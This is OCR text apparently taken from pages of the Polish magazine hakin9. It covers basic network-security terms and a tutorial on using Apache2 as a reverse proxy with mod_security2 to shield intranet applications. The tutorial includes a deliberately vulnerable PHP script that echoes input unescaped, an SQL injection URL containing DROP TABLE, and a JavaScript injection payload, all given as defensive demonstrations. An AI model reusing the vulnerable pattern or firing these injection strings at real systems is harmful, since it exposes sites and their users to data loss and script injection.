prawdziwego adresu URL z serwerem WWW podrobionej 
strony internetowej,

•  Phishing  –  oszukańcze  pozyskanie  poufnej  informacji 

osobistej,  np.  hasła  czy  szczegółów  karty  kredytowej, 
przez udawanie osoby godnej zaufania, której informacje 
te są pilnie potrzebne. Jest to rodzaj ataku opartego na in-
żynierii społecznej,

•  Spam – to niechciane elektroniczne wiadomości. Najbar-

dziej rozpowszechniony jest spam rozpowszechniany za 
pośrednictwem  poczty  elektronicznej  oraz  w  Usenecie. 
Zwykle (choć nie zawsze) jest wysyłany masowo,

•  SpamAssassin – napisany głównie w perlu zestaw skryp-

tów  do  skanowania  zawartości  poczty  elektronicznej  i 
oceny  prawdopodobieństwa,  czy  dana  wiadomość  jest 
spamem, czy też nie, 

•  Spyware – to programy komputerowe, których celem jest 

szpiegowanie  działań  użytkownika.Programy  te  groma-
dzą informacje o użytkowniku i wysyłają je często bez je-
go wiedzy i zgody autorowi programu,

•  ARP spoofing – termin określający atak sieciowy w sie-

ci Ethernet, który pozwala atakującemu przechwytywać 
dane przesyłane w obrębie segmentu sieci LAN,

•  IDS – Intrusion Detection System (system wykrywania 

włamań)  –  jeden  z  mechanizmów  nadzorowania  bez-
pieczeństwa sieci, pozwalający na monitorowanie ata-
ków, np. przez analizę ruchu sieciowego i wykrywanie 
zdefiniowanych sygnatur lub przez raportowanie ogól-
nych nieprawidłowości komunikacyjnych. Niektóre sys-
temy IDS oparte są o zdolne do nauki algorytmy heury-
styczne, które automatycznie dostosowują się do danej 
sieci,

•   IPS – Intrusion Prevention System (system zapobiega-

nia  włamaniom)  –  pochodna  systemu  IDS.  Działanie 
IPS polega na zwiększeniu bezpieczeństwa sieci, po-
przez aktywne przeciwdziałanie atakom w czasie rze-
czywistym, a nie jak w przypadku IDS, już po ich wy-
stąpieniu.

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

54

rewall.  Zapora  ogniowa  przy  pomo-
cy  pewnych  (w  pełni  konfigurowal-
nych)  reguł  chroni  ruch  między  sie-
cią  prywatną  a  publiczną,  decydu-
je, jaki ruch sieciowy może być prze-
puszczony, a który ma być zabloko-
wany (zarówno z sieci prywatnej do 
Internetu, jak i na odwrót). Użytkow-
nicy system Windows XP z zainsta-
lowanym  SP2  zazwyczaj  zauważali 
w swoim systemie obecność zapory 
sieciowej  –  i  minimalizując  problem 
odpowiedniego  wyboru  oraz  konfi-
guracji firewalla – korzystali z owego 
windosowego  narzędzia,  pozbawio-
nego wielu podstawowych funkcji, ja-
kie powinna posiadać zapora siecio-
wa.  Brak  elementarnych  funkcji  fire-
walla  oraz  możliwości  dokładnej  je-
go konfiguracji prowadzi do bezuży-
teczności  takiego  zabezpieczenia. 
Warto zaopatrzyć się zatem w osob-
ny program – właśnie zaporę siecio-
wą. Istnieje wiele darmowych rozwią-
zań – lepszych od tego, wbudowane-
go  domyślnie  w  Windows  XP  –  ich 
przykładem  mogą  być  tutaj  Jetico 
Personal  Firewall  czy  Outpost  Fire-
wall. Oba te programy łączą w sobie 
dużą skuteczność oraz bogatą funk-
cjonalność.

IPS – skuteczna obrona

Niestety  i  firewalle  posiadają  wady 
– nie są one w stanie dogłębnie ana-
lizować ruchu w warstwie aplikacyj-
nej. Jeżeli więc nasz serwer WWW 
jest dostępny w Internecie, to firewall 
musi  przepuszczać  ruch  do  niego, 
a w konsekwencji tego przepuszczo-
ny będzie również atak na ten serwer 
WWW. Oczywiście wszystko zależy 
od  konfiguracji  firewalla.  Na  pewno 
skutecznym  rozwiązaniem  jest  uży-
wanie systemów IPS (Intrusion Pre-

vention System – ang. system zapo-
biegania włamaniom), które łączą w 
sobie funkcjonalność Firewalla, sys-
temu  IDS  oraz  antywirusa.  Nieste-
ty  są  to  stosunkowo  słabo  rozpo-
wszechnione systemy ochronne sie-
ci, m.in. ze względu na swoją cenę. 

Wykorzystujemy 

szyfrowane połączenia

Jeśli  chodzi  o  ochronę  kompute-
rów  domowych,  warto  jest  sko-

rzystać  z  powszechnie  dostęp-
nych rozwiązań, które nie wymaga-
ją  poważniejszej  konfiguracji  stacji 
roboczych/oprogramowania,  a  mo-
gą  znacznie  poprawić  poziom  bez-
pieczeństwa pracy w sieci. Aby za-
bezpieczyć  się  przed  podsłuchem 
pakietów  (przykładowo  ARP  spo-

ofing)  dobrze  jest  korzystać  z  bez-

piecznych szyfrowanych protokołów 
np.  POP3S,  SMTPS,SCP,  SFTP, 
SSH i HTTPS. Jeśli nie wyeliminuje 
to zupełnie zagrożenia, to na pewno 
skutecznie utrudni możliwość prze-
prowadzenia ataku.

Udostępnianie plików – 

nie zawsze bezpieczne

Dość często problemy wiążą się z 
udostępnianymi  w  sieciach  lokal-
nych plikami i drukarkami – niepra-
widłowy  dobór  restrykcji  (lub  zu-
pełnie  ich  pominiecie)  powoduje 
banalnie  prosty  dostęp  do  danych 
–  problem  ten  jest  niezwykle  nie-
bezpieczny w sieciach WLAN (Wi-
Fi) pozbawionych szyfrowania (na-
wet  tego  najbardziej  podstawowe-
go WEP/WPA). O ile w sieciach ka-
blowych  dość  trudno  jest  podpiąć 
się  do  sieci  (konieczny  fizyczny 
kontakt z okablowaniem), to w sie-
ciach bezprzewodowych tej bariery 
już nie ma. Wszystkie dane rozsy-
łane są w eter, co znacznie ułatwia 
sprawę podsłuchu pakietów.

Sieci  bezprzewodowe  jako  naj-

słabsze ogniwo zabezpieczeń

Sieci bezprzewodowe często by-

wają zmorą administratorów sieci fir-
mowych.  Pracownicy  chcący  sobie 
ułatwić  korzystanie  z  sieci  instalu-
ją we własnym zakresie Access Po-
inty (w skrócie AP) – które są furtką 
do firmy dla potencjalnego intruza. I 
na  nic  zdają  się  wówczas  firewalle, 
IDS/IPS. AP omija wszystkie te za-
bezpieczenia.

Świadoma konfiguracja

Dobrze  skonfigurowany  system  IDS 
wraz z modułem do monitoringu sie-
ci  bezprzewodowych  znajdujących 
się w obrębie danego obszaru, sku-
tecznie  uniemożliwia  korzystanie  z 
nieautoryzowanych/niechcianych 
sieci  bezprzewodowych,  zalewając 

eter  odpowiednio  spreparowanymi 
ramkami death które uniemożliwiają 
podłączenie się klienta do wcześniej 
wspominanej sieci bezprzewodowej.

Podsumowanie

Niniejszy  artykuł  prezentuje  pod-
stawowe zasady bezpiecznego po-
dróżowania  po  sieci  LAN/Internet 
–  stosując  się  do  nich  powinni-
śmy  zwiększyć  swoje  bezpieczeń-
stwo.  Pamiętajmy  jednak  o  tym 
ze  przechowywanie  poufnych  da-
nych  (oraz  haseł)  na  komputerze 
nie jest bezpieczne – a jeśli już się 
na  to  decydujemy  to  warto  pomy-
śleć  o  zaszyfrowaniu  plików.  Jed-
nak  żadne  z  wyżej  wymienionych 
zabezpieczeń  nie  będzie  skutecz-
ne  w  momencie,  gdy  nie  zadbamy 
o  odpowiednią,  w  pełni  świadomą 
konfigurację  oraz  o  stały  monito-
ring  uaktualnień/poprawek  nasze-
go oprogramowania. l

O autorze

Autor  jest  studentem  Informatyki  na 
Uniwersytecie  Łódzkim  (filia  w  Toma-
szowie  Maz.),  gdzie  prowadzi  sekcje 
koła  naukowego  zajmującego  się  sie-
ciam. Jest on także autorem serwisu o 
sieciach bezprzewodowych  
http://warchalking.pl 
Kontakt z autorem: 
michal.poselt@warchalking.pl

W Sieci

•  http://www.siteadvisor.com/sites/

webpark.pl/email,

•  http://www.siteadvisor.com/sites/

warchalking.pl/downloads.

Przykładowy wynik ska-

nowania witryn:

•  http://www.siteadvisor.com/sites/

kazaa.com – witryna niebezpieczna

•  http://www.siteadvisor.com/sites/

webpark.pl – witryna podejrzana

•  http://www.siteadvisor.com/sites/

warchalking.pl – witryna bezpieczna

background image

Portal  internetowy  na  którym  można  znaleźć 

garść informacji z wybranych dziedzin IT.

http://howto.pl/

Hacking, security to pojęcia znane profesjonali-

stom na tym portalu można dowiedzieć się cze-

goś więcej o tych zagadnieniach.

http://www.security-web.info

Strona  zawiera  ogłoszenia  pracy  na  stanowi-

ska związane z branżą IT.

http://pracait.com

Portal  poświęcony  aktualnościom,  artykułom

ze  świata  informatycznego.  Zawiera  ciekawe 

linki,  gry  on-line  i  wiele  innych  interesujących 

wiadomości.

http://hackme.pl

Serwis  internetowy  firmy  QuarkBit  Software, 

która zajmuje się tworzeniem oprogramowania 

dla firm i osób prywatnych.

http://www.quarkbitsoftware.pl

Misją serwisu jest dostarczanie rzetelnych infor-

macji z zakresu szeroko pojętej informatyki. Za-

wiera  najświeższe  informacje  z  rynku  informa-

tycznego i recenzje czasopism takich jak Hakin9, 

php solution, sdj.      

http://www.itnews.icx.pl

To portal wydawnictwa CSH. Na tej stronie za-

interesowana  osoba  znajdzie  garść  potrzeb-

nych informacji: aktualności ze świata informa-

tycznego, informacje na temat szkoleń itd.

http://www.szkolahakerow.pl

Serwis  informacyjny,  na  którym  znajdują  się 

najświeższe aktualności i artykuły, można zalo-

gować się na forum i podyskutować z ciekawy-

mi osobami na interesujące teamty.

http://www.cc-team.org

Strona internetowa poświęcona aktualnościom 

informatycznym. Umieszczone są na niej cie-

kawe artykuły oraz recenzje pism.

http://www.huntersq2.boo.pl

Strony

 polecane >>>

Strony

 polecane

Misją Infoprof jest zrozumienie potrzeb klienta 

i taki dobór usług by jak najlepiej spełniały one 

jego oczekiwania, jednocześnie nie narażając 

go na niepotrzebne koszty.

www.infoprof.pl

Portal  poświęcony  zdalnym  rozwiązaniom  IT, 

świadczone usługi są dyskretne i dokładne.

http://xesit.pl

Portal  powstał  w  celu  rozreklamowania  firmy 

zajmującej się kompleksową usługą związaną 

z promowaniem stron WWW.

http://www.webgroup.net.pl

background image

www.hakin9.org

hakin9 Nr 8/2007

56

Obrona

J

edną  z  takich  aplikacji  jest  Microsoft 
OWA  (Outlook  Web  Access),  wyśmie-
nita  aplikacja  typu  webmail,  która  staje 

się coraz popularniejszym sposobem dostępu 
do poczty w środowisku serwerów Microsoft, a 
co za tym idzie, znajduje się ona również coraz 
częściej na celowniku sieciowych wandali.

Z różnych powodów serwery tego typu apli-

kacji  znajdują  się  często  wewnątrz  firmowego 
intranetu, co stanowi świetne rozwiązanie, o ile 
nie zachodzi potrzeba zdalnego dostępu. Z re-
guły  jednak,  prędzej  czy  później  zachodzi  po-
trzeba  uzyskania  dostępu  do  aplikacji  spoza 
sieci  lokalnej.  Aby  zapewnić  taki  dostęp,  nale-
ży rozważyć kilka opcji. Pierwszym z możliwych 
rozwiązań  jest  zestawianie  połączeń  wirtual-
nych sieci prywatnych, co jednak wymaga m.in. 
dodatkowej konfiguracji komputerów klienckich, 
czego najczęściej chcielibyśmy uniknąć.

Inną  możliwością  jest  kolokacja  serwerów 

aplikacji w serwerowni zewnętrznego operato-
ra. Istotną zaletą takiego rozwiązania jest brak 
konieczności nadzorowania infrastruktury i ser-
werów przez naszego administratora i pozosta-
wienie tych obowiązków pracownikom provide-
ra. Często okazuje się jednak taka opcja mniej 
elastyczną, zaś koszta utrzymania takiej infra-

struktury mogą być wyższe niż w przypadku in-
nych  rozwiązań.  Co  ważniejsze,  w  niektórych 
sytuacjach  ważne  z  punktu  widzenia  polityki 
bezpieczeństwa  jest  przechowywanie  wrażli-
wych danych wewnątrz infrastruktury firmy, nie 
zaś u zewnętrznego operatora.

Aby pozostawić dane wewnątrz naszej sie-

ci,  najczęściej  lokalizujemy  serwery  w  strefie 
zdemilitaryzowanej, tak by pozostały pod naszą 
kontrolą,  ale  jednocześnie  były  dostępne  z  In-
ternetu poprzez korporacyjny firewall z filtrowa-
niem  pakietów,  systemem  IPS  i  innymi  zabez-
pieczeniami. Choć w tym wypadku mamy pełną 
kontrolę nad serwerami, to samo rozwiązanie z 
punktu widzenia sieci nie różni się znacząco od 
poprzedniego. Informacje, zarówno w sieci we-

Apache 

jako Reverse Proxy

Radosław Pieczonka

stopień trudności

W środowisku firmowym często można  na serwerach 

intranetowych znaleźć oprogramowanie potencjalnie podatne 

na różnego rodzaju ataki. Co gorsza, zdarza się, iż od 

publikacji informacji o dziurze w zabezpieczeniach do wydania 

odpowiedniej łatki mija niemało czasu.

Z artykułu dowiesz się

•   czym jest reverse proxy,
•   jak skonfigurować Apache2 dla reverse proxy,
•   jak zabezpieczyć publikowane zasoby.

Co powinieneś wiedzieć

•   podstawy konfiguracji Apache2.

background image

Bezpieczne publikowanie zasobów intranetowych

hakin9 Nr 8/2007

www.hakin9.org

57

wnętrznej, jak i zewnętrznej, przetwa-
rzane są w podobny sposób, serwery 
mają publiczne adresy IP czy nazwy 
domenowe, a komunikacja szyfrowa-
na  poprzez  SSL  wymaga  osobnych 
certyfikatów dla serwera.

Aby  pominąć  ograniczenia,  ja-

kie  stawia  przed  nami  lokowanie 
serwerów  w  strefie  zdemilitaryzo-
wanej  oraz  jeśli  chcemy  w  jeszcze 
większym  stopniu  podnieść  bez-
pieczeństwo,  możemy  postawić  na 
maszynie  pełniącej  rolę  firmowego 
firewalla/nata  lub  na  dedykowanym 
serwerze  w  DMZ  usługę  reverse 
proxy. Ten sposób dostępu do zaso-
bów może wydawać sie najtrudniej-
szym i najbardziej zaawansowanym, 
jest  jednak  niezmiernie  elastyczny  i 
daje nam wiele nowych funkcji.

Weźmy  jako  przykład  sytuację, 

gdy  mamy  w  sieci  serwer  Microsoft 
Exchange z aplikacją webmail OWA, 
intranetowy  serwer  z  webową  ba-
zą wiedzy i aplikacją CRM, routing i 
NAT realizowany jest na dedykowa-
nym routerze sprzętowym lub linuk-

sowym  oraz  serwer  linuksowy  zlo-
kalizowany  w  strefie  zdemilitaryzo-
wanej.  Tym,  co  chcielibyśmy  osią-
gnąć, jest umożliwienie przeglądania 
bazy wiedzy oraz poczty z Internetu 
oraz  zachowanie  dostępu  do  syste-
mu CRM tylko z sieci lokalnej.

Po  pierwsze,  musimy  umożliwić 

serwerowi w DMZ dostęp do intrane-
towych  serwerów  OWA  i  bazy  wie-
dzy, co w skrócie sprowadza się do:

•   utworzenia reguł umożliwiających 

dostęp  do  OWA  na  MS  IIS  z  IP 
serwera w DMZ,

•   utworzenia reguł umożliwiających 

dostęp do strony bazy wiedzy z IP 
serwera w DMZ,

•   utworzenie  odpowiednich  reguł 

firewalla  i  NAT-a,  aby  umożliwić 
ruch  pomiędzy  wybranymi  ser-
werami  intranetowymi  oraz  ser-
werem w DMZ.

Jeśli  możemy  przeglądać  zawartość 
stron z publicznego serwera, oznacza 
to, że czas opublikować je do Interne-

tu.  Aby  to  osiągnąć,  wykorzystamy 
serwer http Apache2 wraz z moduła-
mi mod_proxy i mod_proxy_http. Li-
sting 1 prezentuje podstawową konfi-
gurację vhosta dla publikowania we-
wnętrznego  serwisu  dla  klientów  łą-
czących się do publicznego serwera.

Przy  takiej  konfiguracji  Apache'a 

strona http://owa.lan powinna być do-
stępna  z  Internetu  pod  adresem  http:

//intra.company.com.  Trudno  jednak 
stwierdzić, aby takie rozwiązanie pod-
nosiło w sposób znaczący bezpieczeń-
stwo,  co  więcej,  przy  takich  ustawie-
niach  nadal  publikujemy  zasoby  tylko 
jednego  wewnętrznego  serwera  i  to 
wszystko to, co jest na nim dostępne. 
Co możemy zrobić w celu poprawienia 
zaprezentowanego reverse proxy?

Przede  wszystkim  warto  nieco 

bardziej szczegółowo określić, jakie 
zasoby mają być publikowane i pod 
jakimi nazwami, zmieńmy więc:

•   ProxyPass/ http://owa.lan/,
•   ProxyPassReverse http://owa.lan/.

na  szczegółowy  wykaz  publikowa-
nych folderów webowych:

•   ProxyPass/exchange  http://owa.

lan/exchange,

•   ProxyPassReverse  /exchange 

http://owa.lan/exchange,

•   ProxyPass  /exchweb  http://owa.

lan/exchweb,

•   ProxyPassReverse 

/exchweb 

http://owa.lan/exchweb,

•   ProxyPass /public http://owa.lan/

public,

•   ProxyPassReverse /public http://

owa.lan/public,

Rysunek 1. 

Diagram dostępu w wariancie kolokacji

External ISP colocated

Web servers

Direct SSL

secured traffic

Direct SSL

secured traffic

Linux Firewall / NAT

Internet

Intranet

Listing 1. 

Podstawowa konfiguracja vhosta w Apache2

<VirtualHost *>
ServerAdmin admin@foo.bar
ServerName intra.company.com
ErrorLog /var/log/apache2/owa.foo.bar-error.log
CustomLog /var/log/apache2/owa.foo.bar-access.log common
ProxyPass / http://owa.lan/
ProxyPassReverse / http://owa.lan/
ProxyRequests Off
<Proxy *>
   Order deny,allow
   Allow from all
</Proxy>
</VirtualHost>

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

58

•   ProxyPass /knb http://webserver.

lan/knowledgebase,

•   ProxyPassReverse  /knb  http://

webserver.lan/knowledgebase.

Ciphered connections

Dzięki powyższej zmianie, dostęp jest 
ograniczony  jedynie  do  wybranych 
katalogów,  zaś  zależnie  od  wywoła-
nego  adresu,  prezentowana  będzie 
zawartość  odpowiedniego  serwera 
intranetowego.  Warto  jednak  pamię-
tać o tym, że choć do ruchu wewnątrz 
sieci lokalnej mamy zazwyczaj spore 
zaufanie, ruch w Internecie to przypa-
dek przeciwny. W związku z tym, po-
wszechną  i  wskazaną  praktyką  jest, 
by takie połączenia były szyfrowane. 
Aby pozostać w zgodzie z ową przy-
jętą procedurą,  zaimplementujmy w 
naszym rozwiązaniu szyfrowanie po-
przez  dodanie  wpisów  odpowiadają-
cych za SSL do konfiguracji serwera:

Listen 443

oraz

NameVirtualHost *:443

Gdy Apache nasłuchuje już na domyśl-
nym porcie HTTPS, możemy zaktuali-
zować  naszą  konfigurację  vhosta  do 
stanu zaprezentowanego w Listingu 2 
i Rysunku 1, gdzie korzystamy również 
z  dyrektywy  SSLProxyEngine,  któ-
ra umożliwia publikowanie zasobów z 
wykorzystaniem protokołu HTTPS. 

Jeśli  publikowane  zasoby  ma-

ją być dostępne jedynie dla pracow-
ników  firmy  oraz  innych  zaufanych 
podmiotów,  warto  rozważyć  imple-
mentację  dodatkowej  warstwy  au-
toryzacji  klienta  poprzez  certyfika-
ty. Serwer proxy może wymagać od 
przeglądarki  klienta  przedstawienia 
prawidłowego certyfikatu, zanim po-
łączenie zostanie ustanowione. 

Innym  aspektem  implementa-

cji mod_proxy jako reverse proxy jest 
rozkładanie  ruchu  pomiędzy  serwery 
celem równoważenia obciążenia oraz 
przeniesienie  odpowiedzialności  za 
szyfrowanie ruchu z serwera aplikacji 
na serwer proxy. Gdy publikujemy we-
wnętrzne zasoby HTTP z uruchomio-
nym szyfrowaniem SSL na publicznie 

dostępnym  serwerze  reverse  proxy, 
mamy  możliwość  publikacji  zasobów 
wielu serwerów pod jedną nazwą do-
menową, a co za tym idzie, z wykorzy-
staniem jednego certyfikatu dla SSL. 
Może to stanowić dla firmy znaczące 
udogodnienie oraz skutkować obniże-
niem  kosztów  utrzymania  certyfika-
tów nabywanych u komercyjnych do-
stawców. Ciekawym sposobem wyko-
rzystania reverse proxy w kontekście 
szyfrowania jest również instalacja po-
jedynczego  akceleratora  kryptogra-
ficznego dla wszystkich serwerów fir-
my, co daje nam możliwość znaczne-
go uproszczenia i optymalizacji infra-
struktury klucza publicznego stosowa-
nej w firmie.

Specyficzne problemy

Pomimo  iż  opisywane  rozwiązanie 
jest bardzo dobre, może stać się ono 

powodem  niespodziewanych proble-
mów  w  wypadku  niektórych  aplika-
cji webowych. Na przykład w wypad-
ku publikacji wspominanego kilkakrot-
nie Outlook Web Access, konfiguracja 
domyślna serwera IIS i Exchange po-
woduje drobny, acz przykry problem, 
którym  jest  autentykacja  z  wykorzy-
staniem NTLM czyli tzw. Windows In-

tegrated Authentication. Zgodnie z ofi-
cjalnymi publikacjami Microsoft, auten-
tykacja NTLM authentication nie dzia-
ła poprzez serwery proxy. Po dokład-
niejszym sprawdzeniu okazuje się, iż 
działa  ona  w  przeglądarkach,  innych 
niż Microsoft producentów,  takich jak 
Mozilla Firefox czy Opera, ale nie funk-
cjonuje, gdy próba otworzenia tej sa-
mej strony wykonywana jest z Internet 
Explorera.  Wiedząc,  gdzie  leży  pro-
blem,  możemy  wyłączyć  autentyka-
cję opartą o NTLM po stronie serwe-

Rysunek 2. 

Diagram dostępu w wariancie DMZ

DMZ Web servers

Direct SSL

secured traffic

Direct SSL

secured traffic

Linux Firewall / NAT

with reverse proxy

and appilcation firewall

HTTP traffic

Internet

Intranet

Rysunek 3. 

Diagram dostępu przez reverse proxy

LAN Web servers

SSL

secured traffic

Linux Firewall / NAT

with reverse proxy

and appilcation firewall

HTTP traffic

Internet

Intranet

background image

Bezpieczne publikowanie zasobów intranetowych

hakin9 Nr 8/2007

www.hakin9.org

59

ra IIS (w Exchange Management Con-

sole) lub, jeśli chcemy zachować moż-
liwośc takiej autentykacji w sieci LAN, 
możemy za pomocą mod_headers dla 
Apache  zmodyfikować  nagłówki  tak, 
by serwer proxy rozgłaszał jedynie w 
podstawowy sposób, jak poniżej:

Header unset WWW-Authenticate
Header set WWW-Authenticate  

§

 "Basic realm=webmail.company.com"

Firewall warstwy aplikacji

W wielu sytuacjach dynamicznie ge-
nerowana  zawartość  strony  przygo-
towywana jest za pomocą PHP, ASP 
czy innej podobnej technologii. Roz-
wiązania takie są potencjalnie podat-
ne  na  pewne  rodzaje  nadużyć.  Nie 
zdarza się raczej, by firma dyspono-
wała zasobami koniecznymi do wery-

fikacji  każdego  fragmentu  kodu  źró-
dłowego,  a  często  w  wypadku  za-
mkniętych rozwiązań, nawet do kodu 
dostępu. Jeśli w sieci intranet do pew-
nego  stopnia  można  dopuścić  takie 
zagrożenie,  to  już  w  wypadku  zaso-
bów publikowanych do Internetu, ko-
nieczne jest,  by stosowane rozwiąza-
nia były jak najbezpieczniejsze. 

Gdy  implementujemy  reverse 

proxy, nie tylko możemy wykorzystać 
je do prostego publikowania z dodat-
kowym  zabezpieczeniem  w  formie 
szyfrowania  SSL.  Dzięki  modułowi 

mod_security2  możemy  utworzyć 
całkowicie nową warstwę filtrowania 
ruchu dla naszych rozwiązań.

Jednym z najpopularniejszych za-

grożeń, na jakie narażone są aplika-
cje  webowe,  są  ataki  wstrzykujące 
kod jak SQL injection. Najczęściej po-

wodowane przez niewłaściwą obsłu-
gę zmiennych, mogą zostać załatane 
poprzez modyfikacje kodu aplikacji.

Wyobraźmy sobie sytuację, w któ-

rej  używana  jest  spora  aplikacja  we-
bowa,  utworzona  dłuższy  czas  temu 
i  nigdy  niemodyfikowana.  Sporo  wy-
darzyło  się  od  czasu,  kiedy  ją  napi-
sano, PHP nie powinno juz np. wyko-
rzystywać  zmiennych  globalnych  (re-

gister_globals)  do  obsługi  wywołań 

GET/POST; obecnie kładzie się rów-
nież znacznie większy nacisk na bez-
pieczeństwo. Jednak dla stworzonego 
kiedyś  skomplikowanego  oprogramo-
wania, aktualizacja do bieżących stan-
dardów może okazać się koszmarem. 
Często zdarza się wręcz, iż lepiej jest 
napisać nowy system w miejsce stare-
go, gdyż może to być tańsze od łatania 
słabo udokumentowanej aplikacji.

Nawet  jeśli  zapadnie  decyzja  o 

tworzeniu  nowego  rozwiązania,  nie 
stanie sie to w ciągu dni czy nawet ty-
godni, a my nie możemy sobie pozwo-
lić na publiczny dostęp do dziurawego 
oprogramowania. Jeśli system jest po-
datny na wstrzykiwanie kodu, łatwo so-
bie wyobrazić jak tragiczne w skutkach 
może być wpisanie do przeglądarki w 
polu adresu http://company.com/bug-

gy.php?username =jonny;DRO -

P%20TABLE%20users

Aby  uniknąć  podobnych  nad-

użyć,  można  wykorzystać  mod_se-

curity2 do blokowania typowych ata-
ków wstrzykiwania kodu.

Jeśli  dana  dystrybucja  zawiera 

bieżącą wersję mod_security2, mamy 
szczęście,  jednak  w  większości  wy-
padków konieczna będzie kompilacja i 
instalacja tego modułu ze źródeł.

Na szczęście instalacja tego mo-

dułu jest dość prosta, i nie powinna 
stanowić  żadnego  problemu.  Poza 
instalacją  pakietów  z  odpowiednimi 
bibliotekami  jak  libxml2,  trzeba  do-
konać  drobnej  zmiany  w  Makefile, 
gdzie  trzeba  prawidłowo  zadeklaro-
wać  ścieżkę  do  katalogu  instalacji 
Apache (np. /usr/share/apache2 De-
bianie), a następnie po prostu wyko-
nać polecenia make i make install.

Po zainstalowaniu modułu mod_

security2  dla  Apache2,  należy  jesz-
cze  zmodyfikować  konfigurację  ser-
wera,  tak  by  ładował  on  odpowied-

Listing 2. 

Konfiguracja vhosta z SSL i wybranymi zasobami

<VirtualHost *:443>
ServerAdmin admin@foo.bar
ServerName intra.company.com
ErrorLog /var/log/apache2/ssl-intra.company.com-error.log
CustomLog /var/log/apache2/ssl-intra.company.com-access.log common
SSLEngine on
SSLCertificateFile /etc/ssl/certs/ssl-cert-intra.company.com.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-intra.company.com.key
SSLProxyEngine on
ProxyPass /exchange https://owa.lan/exchange
ProxyPassReverse /exchange https://owa.lan/exchange
ProxyPass /exchweb https://owa.lan/exchweb
ProxyPassReverse /exchweb https://owa.lan/exchweb
ProxyPass /public https://owa.lan/public
ProxyPassReverse /public https://owa.lan/public
ProxyPass /knb http://webserver.lan/knowledgebase
ProxyPassReverse /knb http://webserver.lan/knowledgebase
ProxyRequests Off
<Proxy *>
   Order deny,allow
   Allow from all
</Proxy> 
</VirtualHost>

Listing 3. 

Skrypt vulnerable.php

This site is vulnerable to javascript injection

<?

if

(

!

isset

(

$_GET

[

'username'

]))

 

$_GET

[

'username'

]

 = 

"no username supplied"

;

echo

 

$_GET

[

'username'

]

?>

Listing 4. 

Adnotacja włamania w logach bezpieczeństwa

[Thu Apr 12 13:09:21 2007] [error] [client xxx.xxx.xxx.xxx] ModSecurity:
 Access denied with code 409 (phase 2). Pattern match "<script" at ARGS:
username. [hostname "company.com"] [uri "/vulnerable.php?username=
noob<script>alert(\\"I%20am%20so%20vulnerable...\\")</script>"]
 [unique_id"kiwv4Fdi6FkABAVRAMsABBAAA"]

background image

hakin9 Nr 8/2007

www.hakin9.org

Obrona

60

nie pliki, co można najprościej osią-
gnąć  poprzez  dodanie  wpisów,  któ-
re przedstawia Listing 5 w odpowied-
nim miejscu plików konfiguracyjnych. 

mod_unique_id  powinien  być  do-
stępny  w  domyślnej  instalacji  Apa-
che2 i jest wymagany do poprawnej 
pracy mod_security2.

Gdy  mod_security2  jest  już  do-

stępny  i  załadowany  do  Apache,  po-
zostaje włączyć jego obsługę dla całe-
go serwera, wybranych lokalizacji czy 
vhostów, w naszym zaś przypadku dla 
vhosta  odpowiedzialnego  za  reverse 
proxy, do czego służy dyrektywa Se-

cRuleEngine  On.  Dodatkowo  może-
my ustalić, jakie operacje zostaną wy-
konane domyślnie w wypadku wykry-
cia  potencjalnego  ataku  za  pomocą 

SecDefaultAction. Stwórzmy więc ta-
ką  konfigurację,  która  odrzuci  poten-
cjalnie szkodliwe wywołania z błędem 
409  oraz  zaloguje  je  w  celu  później-
szej analizy. Możliwe jest również mo-
dyfikowanie zachowania filtra dla kon-
kretnych reguł, o czym napiszemy za 
chwilę.  Warto  zdawać  sobie  sprawę 
z  faktu,  iż  mod_security2  domyślnie 
wykonuje pewne operacje w celu nie-
dopuszczenia do ukrycia ataku przed 
wzorcami  wykorzystywanym  do  je-
go wykrycia. Wywołanie przekazane 
przez  klienta  zostaje  doprowadzone 
do postaci kanonicznej, usunięte zo-
staną wielokrotne slashe, wskazania 
do bieżącego katalogu, a także zde-
kodowane  zostaną  kody  znaków  w 
URLu,  co  znacząco  ogranicza  moż-
liwości obejścia zabezpieczeń.

Najczęściej spotykaną w konfigu-

racji  mod_security2  dyrektywą  jest 

SecRule.  Za  pomocą  tych  wpisów 
tworzymy  nasze  reguły  bezpieczeń-
stwa,  które  będą  wywoływać  wcze-
śniej  zadeklarowane  domyślne  za-
chowanie.  Idea  działania  reguł  Se-

cRule jest prosta i sprowadza się do 
wykonania  określonych  czynności, 
gdy zadeklarowany wzorzec zostanie 
wykryty  w  przychodzącym  od  klien-
ta  wywołaniu.  Ekipa  odpowiedzialna 
za  mod_security2  była  na  tyle  miła, 
by  wraz  z  kodem  źródłowym  rozpo-
wszechniać  predefiniowany  zestaw 
reguł. Umieszczone tam wpisy pokry-
wają się z najczęściej spotykanymi w 
sieci  problemami  zabezpieczeń  apli-
kacji  webowych;  intuicyjnie  podzie-
lone  i  dobrze  skomentowane,  znane 
są pod nazwą Core Rules. Zachęcam 
do zapoznania się z zawartością tego 
zbioru regułek, gdyż dają one wgląd w 
wiele metod ataków na aplikacje we-
bowe oraz wzorców, które pozwalają 
tego typu zachowania zidentyfikować 
i zablokować.

Jak można zauważyć w Core Ru-

les, każda reguła SecRule może przyj-
mować dwa lub trzy argumenty. Pierw-
szy  wskazuje  na  miejsce,  w  którym 
mamy poszukiwać wzorca, a kolejny to 

tenże wzorzec. Jako trzeci, opcjonalny 
argument, możemy zadeklarować, ja-
kie działania mają być podjęte w wy-
padku  wystąpienia  łańcucha  znaków 
zgodnego z wzorcem – operacja ta bę-
dzie miała pierwszeństwo nad działa-
niami deklarowanymi jako domyślne.

Aby  zademonstrować,  w  jaki 

sposób  mod_security2  może  chro-
nić stronę przed nadużyciem, stwo-
rzymy  mały,  dziurawy  skrypt  vulne-

rable.php, który będzie dostępny na 
słabo  skonfigurowanym  serwerze, 
co  w  efekcie  spowoduje  podatność 
na atak typu script injection.

Gdy  otwieramy  taką  stronę,  mo-

żemy  wykorzystać  podatność  na 
wstrzyknięcie kodu javascript poprzez 
wklejenie go jako części nazwy użyt-
kownika, jak na przykład:

username=noob<script>alert 

§

 2(”I am so vulnerable...”)</script>,

Czego efekt widać na Rysunku 5.

Rysunek 5. 

Przykładowy efekt udanego wstrzyknięcia skryptu

Rysunek 4. 

Diagram dostępu w wariancie reverse proxy w DMZ

intr.company.com

owa.lan

webserver.lan

HTTPS

HTTP

Firewall / Router

Internet

Intranet

Listing 5. 

Dodane wpisy do 

pliku konfiguracyjnego Apache2

LoadFile /usr/lib/libxml2.so
